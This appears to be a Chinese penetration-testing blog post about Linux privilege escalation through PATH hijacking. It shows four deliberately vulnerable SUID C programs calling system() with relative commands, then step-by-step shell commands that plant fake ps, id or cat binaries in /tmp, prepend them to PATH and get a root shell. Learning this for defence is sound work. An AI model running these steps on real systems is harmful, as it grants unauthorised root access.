WEB渗透Linux提权篇-环境变量提权

往期文章

WEB渗透Linux提权篇-提权工具合集-CSDN博客

第一种
复制代码
假设存在一个脚本代码为

  #include<unistd.h>
  void main()
  {
  setuid(0);
  setgid(0);
  system("ps");
  }

编译
>gcc demo.c -o shell
>chmod u+s shell
执行./shell  回显ps命令
提权
find / -perm -u=s -type f 2>/dev/null
存在脚本/home/name/script/shell
>cd /tmp
>echo "/bin/bash" > ps
>chmod 777 ps
>echo $PATH
>export PATH=/tmp:$PATH
>cd /home/raj/script
>./shell
>whoami
或使用copy命令
>cd /home/raj/script/
>cp /bin/sh /tmp/ps
>echo $PATH
>export PATH=/tmp:$PATH
>./shell
>whoami
或使用ln命令
>ln -s /bin/sh ps
>export PATH=.:$PATH
>./shell
>id
第二种
复制代码
假设存在一个脚本代码为

  #include<unistd.h>
  void main()
  {
  setuid(0);
  setgid(0);
  system("id");
  }

编译
>gcc test.c -o shell2
>chmod u+s shell2
提权
find / -perm -u=s -type f 2>/dev/null
存在脚本/home/name/script/shell2
>cd /tmp
>echo "/bin/bash" > id
>chmod 777 id
>echo $PATH
>export PATH=/tmp:$PATH
>cd /home/raj/script
>./shell2
>whoami
第三种
复制代码
假设存在一个脚本代码为

  #include<unistd.h>
  void main()
  {
  setuid(0);
  setgid(0);
  system("cat /etc/passwd");
  }

编译后提权
find / -perm -u=s -type f 2>/dev/null
存在脚本/home/name/script/shell3
>cd /tmp
>vi cat
内容为/bin/bash
>chmod 777 cat
>ls -al cat
>echo $PATH
>export PATH=/tmp:$PATH
>cd /home/raj/script
>./shell3
>whoami
第四种
复制代码
假设存在一个脚本代码为

  #include<unistd.h>
  void main()
  {
  setuid(0);
  setgid(0);
  system("cat /home/raj/msg.txt");
  }

编译后提权
find / -perm -u=s -type f 2>/dev/null
存在脚本/home/name/script/shell4
>cd /tmp
>vi cat
>chmod 777 cat
>echo $PATH
>export PATH=/tmp:$PATH
>cd /home/raj/script
>./shell4
>whoami
相关推荐
FL16238631294 分钟前
win11+WSL+Ubuntu-xrdp+远程桌面闪退+黑屏闪退解决
linux·运维·ubuntu
石头53012 分钟前
Kubernetes监控全栈解决方案:从零搭建Prometheus+Grafana监控体系
linux
MOON404☾14 分钟前
006.Backdoor后门编写
网络·安全·网络安全·系统安全
ha204289419418 分钟前
Linux操作系统学习记录之---TcpSocket
linux·网络·c++·学习
AOwhisky1 小时前
Linux逻辑卷管理:从“固定隔间”到“弹性存储池”的智慧
linux·运维·服务器
C Yu小白2 小时前
Linux系统调用与文件操作详解
linux·运维·服务器
ZFB00012 小时前
【麒麟桌面系统】V10-SP1 2503 系统知识——常见用户组简介
linux·运维·kylin
EndingCoder3 小时前
类的继承和多态
linux·运维·前端·javascript·ubuntu·typescript
信创天地3 小时前
深耕金融政务核心场景:国产化数据库迁移的全流程架构设计与风险管控
运维·网络安全·系统架构·系统安全·运维开发
ZFB00013 小时前
【麒麟桌面系统】V10-SP1 2503 系统知识——添加用户
linux·运维·kylin